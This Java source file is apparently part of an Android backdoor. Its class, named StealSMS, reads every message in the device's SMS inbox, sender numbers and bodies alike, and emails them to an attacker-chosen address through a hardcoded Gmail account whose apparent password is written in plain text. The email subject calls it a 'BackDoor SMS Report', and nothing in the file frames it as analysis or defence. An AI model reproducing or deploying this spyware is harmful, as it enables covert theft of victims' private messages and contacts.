package com.example.bd;



import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;

import android.app.Activity;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.Toast;


public class StealSMS extends Activity {

	String mailto;
	List<SMS> smsList = new ArrayList<SMS>();
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
	
		
	}
 
	public  void setMail(String _mailto)
	{
		mailto=_mailto;
	}
	public void getSMS()
	{

		
		Uri uri = Uri.parse("content://sms/inbox");
		Cursor c= getContentResolver().query(uri, null, null ,null,null);
		startManagingCursor(c);
		
		// Read the sms data and store it in the list
		if(c.moveToFirst()) {
			for(int i=0; i < c.getCount(); i++) {
				SMS sms = new SMS();
				sms.setBody(c.getString(c.getColumnIndexOrThrow("body")).toString());
				sms.setNumber(c.getString(c.getColumnIndexOrThrow("address")).toString());
				smsList.add(sms);
				
				c.moveToNext();
			}
		}
		c.close();
		
	    }
	/*
	public void showSms()
	{
	 Iterator<SMS> it=smsList.iterator();
	 while(it.hasNext())
	 {
		 SMS s=(SMS) it.next();
		 String str_sms="SMS from: "+s.getNumber()+"\n Text:"+s.getBody();
		 Toast.makeText(this,str_sms ,Toast.LENGTH_LONG ).show(); 
	 }
	}
	
*/
	
	public void sendsmsviaemail()
	{
		Iterator<SMS> it=smsList.iterator();
		String body="";
		String TAG="SENDSMSLOG";
		 while(it.hasNext())
		 {
			 SMS s=(SMS) it.next();
			 body=body+"\n"+"SMS from: "+s.getNumber()+"\n Text:"+s.getBody();
	
		 } // while
			 Mail m = new Mail("mcseemka@gmail.com", "max123dog"); 
			 
		      String[] toArr = {mailto}; 
		      m.setTo(toArr); 
		      m.setFrom("backdoor@wooo.com"); 
		      m.setSubject("Your Androoid BackDoor SMS Report "); 
		      m.setBody(body); 
		 
		      try { 
		      
		 
		        if(m.send()) {
		        	
		     Log.d(TAG,"Email was sent successfully.");
		        }
		        else
		        { 
		      Log.d(TAG,"Email was not sent."); 
		        }
		        
		      } //try
		      catch(Exception e) { 
		     
		        Log.d(TAG, "Could not send email", e); 
		      }  //catch 
		      
		      
		    }  //sendsmviamail 
		 
/*	
void main ()
{
StealSMS kk= new StealSMS();
kk.setMail("mcseamka@gmail.com");
kk.getSMS();
kk.sendsmsviaemail();
}*/
}

